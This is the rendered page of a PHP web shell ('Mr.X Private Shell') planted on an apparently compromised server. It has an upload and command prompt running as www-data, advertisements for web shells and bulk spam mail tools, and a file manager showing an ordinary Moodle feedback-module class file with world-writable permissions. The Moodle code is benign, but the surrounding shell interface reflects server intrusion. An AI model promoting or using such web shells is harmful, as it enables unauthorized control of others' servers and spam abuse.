__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace mod_feedback\output;

use confirm_action;
use context_system;
use moodle_url;
use action_link;

/**
 * Class actionbar - Display the action bar
 *
 * @package   mod_feedback
 * @copyright 2021 Peter Dias
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class edit_template_action_bar extends base_action_bar {
    /** @var int $templateid The template that is being edited/used */
    private $templateid;
    /** @var string $mode The type of view we are dealing with  */
    private $mode;

    /**
     * edit_template_action_bar constructor.
     * @param int $cmid
     * @param int $templateid
     * @param string $mode
     */
    public function __construct(int $cmid, int $templateid, string $mode) {
        parent::__construct($cmid);
        $this->templateid = $templateid;
        $this->mode = $mode;
    }

    /**
     * Return the items to be used in the tertiary nav
     *
     * @return array
     */
    public function get_items(): array {
        global $DB;
        $additionalparams = ($this->mode ? ['mode' => $this->mode] : []);
        $templateurl = new moodle_url('/mod/feedback/manage_templates.php', $this->urlparams + $additionalparams);
        $items['left'][]['actionlink'] = new action_link($templateurl, get_string('back'), null, ['class' => 'btn btn-secondary']);

        if (has_capability('mod/feedback:edititems', $this->context)) {
            $items['usetemplate'] = $this->urlparams + [
                'templateid' => $this->templateid
            ];
        }

        $template = $DB->get_record('feedback_template', array('id' => $this->templateid), '*', MUST_EXIST);
        $systemcontext = context_system::instance();
        $showdelete = has_capability('mod/feedback:deletetemplate', $this->context);
        if ($template->ispublic) {
            $showdelete = has_capability('mod/feedback:createpublictemplate', $systemcontext) &&
                has_capability('mod/feedback:deletetemplate', $systemcontext);
        }

        if ($showdelete) {
            $params = $this->urlparams + $additionalparams + [
                'deletetemplate' => $this->templateid,
                'sesskey' => sesskey()
            ];
            $deleteurl = new moodle_url('/mod/feedback/manage_templates.php', $params);
            $deleteaction = new confirm_action(get_string('confirmdeletetemplate', 'feedback'));
            $items['export'] = new action_link($deleteurl, get_string('delete'), $deleteaction, ['class' => 'btn btn-secondary']);
        }

        return $items;
    }
}

Filemanager

Name Type Size Permission Actions
base_action_bar.php File 3.17 KB 0777
edit_action_bar.php File 4.7 KB 0777
edit_template_action_bar.php File 3.19 KB 0777
renderer.php File 1.76 KB 0777
responses_action_bar.php File 2.72 KB 0777
standard_action_bar.php File 3.87 KB 0777
summary.php File 2.12 KB 0777
Filemanager